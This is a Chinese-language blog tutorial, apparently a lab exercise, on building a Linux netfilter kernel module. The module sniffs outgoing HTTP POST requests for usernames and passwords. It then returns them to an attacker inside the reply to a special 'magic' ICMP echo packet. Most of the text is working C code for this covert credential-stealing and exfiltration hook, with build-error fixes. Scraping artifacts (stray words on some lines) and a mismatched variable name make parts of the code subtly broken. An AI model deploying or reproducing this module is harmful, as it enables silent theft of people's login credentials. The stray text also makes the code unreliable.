@linux
Netfilter是從Linux 2.4開始引入內核的一個子系統,是在網絡流程的若干位置放置了一些hook(鉤子),將數據拉出來作一些處理(如包過濾,NAT等)後,再放回到網絡流程。git
netfilter和iptables的關係
網絡層的hook:
NF_IP_PRE_ROUTING:剛剛進入網絡層的數據包
NF_IP_LOCAL_IN:經路由查找後,送往本機,INPUT包過濾
NF_IP_FORWARD:要轉發的包,FORWORD包過濾
NF_IP_POST_ROUTING:要經過網絡設備發出去的包
NF_IP_LOCAL_OUT:本機發出的包,OUTPUT包過濾程序員
實驗環境:ubuntu 18.04 kernel 4.15
源代碼:nf_http.c getData.c Makefilegithub
obj-m += hello-world.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
完整的LKM編程模塊shell
#include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> static int __init init_my_module(void) { printk(KERN_INFO "Hello, Kernel!\n"); return 0; } static void __exit exit_my_module(void) { printk(KERN_INFO "Bye, Kernel!\n"); } module_init(init_my_module); module_exit(exit_my_module); MODULE_LICENSE("GPL"); MODULE_AUTHOR("TEST");
struct nf_hook_ops { struct list_head list; /* 此下的值由程序員填充 */ nf_hookfn *hook; int pf; int hooknum; /* Hook以升序的優先級排序 */ int priority; };
struct nf_hook_ops pre_hook; struct nf_hook_ops post_hook; int init_module() { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_INET_PRE_ROUTING; post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_INET_POST_ROUTING; nf_register_net_hook(&init_net,&pre_hook); nf_register_net_hook(&init_net,&post_hook); return 0; }
## 用netfilter過濾發出去的http包編程
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct sk_buff *sb = skb; struct tcphdr *tcp; printk("post routing"); /* Make sure this is a TCP packet first */ if (ip_hdr(sb)->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */ tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4)); /* Now check to see if it's an HTTP packet */ //發現dest port=80的http包,就調用check_http() if (tcp->dest != htons(80)) return NF_ACCEPT; /* Nope, not FTP */ /* Parse the HTTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) { printk("check http"); check_http(sb); } /* We are finished with the packet, let it go on its way */ return NF_ACCEPT; }
經過網頁源碼或抓包肯定表單提交方式、用戶名和密碼的變量名
表單提交有兩種提交方式,get和post
get方式效率高但安全性低,如http://localhost:8080/test.do?name=test&password=123456 ,常常用於搜索,查詢
post是封裝後進行提交安全性高,經常使用與用戶註冊登錄等。
提交表單標籤: ubuntu
使用字符串匹配,過濾POST HTTP包,找到html中的username、password安全
static void check_http(struct sk_buff *skb) { struct tcphdr *tcp; char *data; char *name; char *passwd; char *_and; char *check_html; int len,i; tcp = tcp_hdr(skb); data = (unsigned char *)tcp + (unsigned char)(tcp->doff) * 4; //check POST //cookie中也有uid,但可能沒有pwd,且沒有&分隔,而提交的HTML數據在cookie的後面,可經過Upgrade-Insecure-Requests定位 if (strstr(data,"POST /") != NULL && strstr(data,"Upgrade-Insecure-Requests") != NULL && strstr(data, "&uid") != NULL && strstr(data, "&password") != NULL) { checkhtml = strstr(data,"Upgrade-Insecure-Requests"); printk("find POST html"); name = strstr(check_html,"&uid="); name += 5; _and = strstr(name,"&"); len = _and - name; if ((username = kmalloc(len + 1, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 1); for (i = 0; i < len; ++i) { *(username + i) = name[i]; } *(username + len) = '\0'; passwd = strstr(name,"&password="); passwd += 10; _and = strstr(passwd,"&"); len = _and - passwd; if ((password = kmalloc(len + 1, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 1); for (i = 0; i < len; ++i) { *(password + i) = passwd[i]; } *(password + len) = '\0'; } else { printk("it`s not a http post"); return; } if (!target_ip) target_ip = ip_hdr(skb)->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ if (have_pair) printk("Have a uid&pwd pair! U: %s P: %s\n", username, password); }
## 用netfilter過濾收到的包cookie
發現特定的icmp包後,修改此數據報的mac、ip、username、pwd,併發送回hack
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct sk_buff *sb = skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ printk("pre routing"); /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT; /* Is this an ICMP packet? */ if (ip_hdr(sb)->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); //+20 ip頭 /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { printk("it`s not a MAGIC packet"); return NF_ACCEPT; } /* 直接修改接收的buffer, 這種狀況只適合局域網內利用目的mac傳輸,由於沒有通過路由*/ printk("get the MAGIC packet"); /*交換src dst 的ip*/ taddr = ip_hdr(sb)->saddr; ip_hdr(sb)->saddr = ip_hdr(sb)->daddr; ip_hdr(sb)->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; //設置mac switch (sb->dev->type) { case ARPHRD_PPP: /* Ntcho iddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; /*將源MAC設置爲目的MAC*/ sb->data = (unsigned char *)eth_hdr(sb); sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN); memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source), ETH_ALEN); memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN); break; } }; /* Now copy the target IP, then Username, then password into packet */ /*(char *)icmp 是爲了保證指針移動的標準是char* ,64位OS中是8字節*/ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) //memcpy(cp_data + 4, username, 16); memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); /* 發送 buffer*/ dev_queue_xmit(sb); printk("the pair has been send to target"); /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0; printk("clear the pair\n"); /* 不能return NF_DROP,由於dev_queue_xmit將釋放緩衝區, * Netfilter將嘗試對NF_DROPped數據包執行相同操做,致使內核錯誤。*/ return NF_STOLEN; }
## 清理netfilter
void cleanup_module() { //struct net *net=NULL; nf_unregister_net_hook(&init_net,&post_hook); nf_unregister_net_hook(&init_net,&pre_hook); if (password) kfree(password); if (username) kfree(username); return; }
源代碼:getData.c
向target發送特殊的icmp包
raw socket 編程, 發送icmp數據包 ,保證足夠的長度盛放target返回的數據。
ip頭 20字節 icmp頭 8字節 icmp數據 4+16+16=36字節
接收和打印target發回的數據
make error 1:assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
pre_hook.hook = watch_in;
自從kernel4.13開始 hook函數的原型就是
int sample_nf_hookfn(void priv, struct sk_buff skb, const struct nf_hook_state *state);
而不是
static unsigned int sample(unsigned int hooknum, struct sk_buff * skb, const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *))
make error2 :
nf_register_hook(&pre_hook);
^~~~~~~~~~~~~~~~
nf_register_net_hook
nf_register_hook在新版內核裏面換成了 nf_register_net_hook(struct net net, const struct nf_hook_ops ops);
能夠這樣
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,13,0) nf_register_net_hook(&init_net, ®) //&init_net 可直接使用 #else nf_register_hook(®) #endif
參考 :
http://www.javashuo.com/article/p-bkustcfc-hh.html
https://zhuanlan.zhihu.com/p/61343421
https://zhuanlan.zhihu.com/p/61164326 《UNIX網絡編程》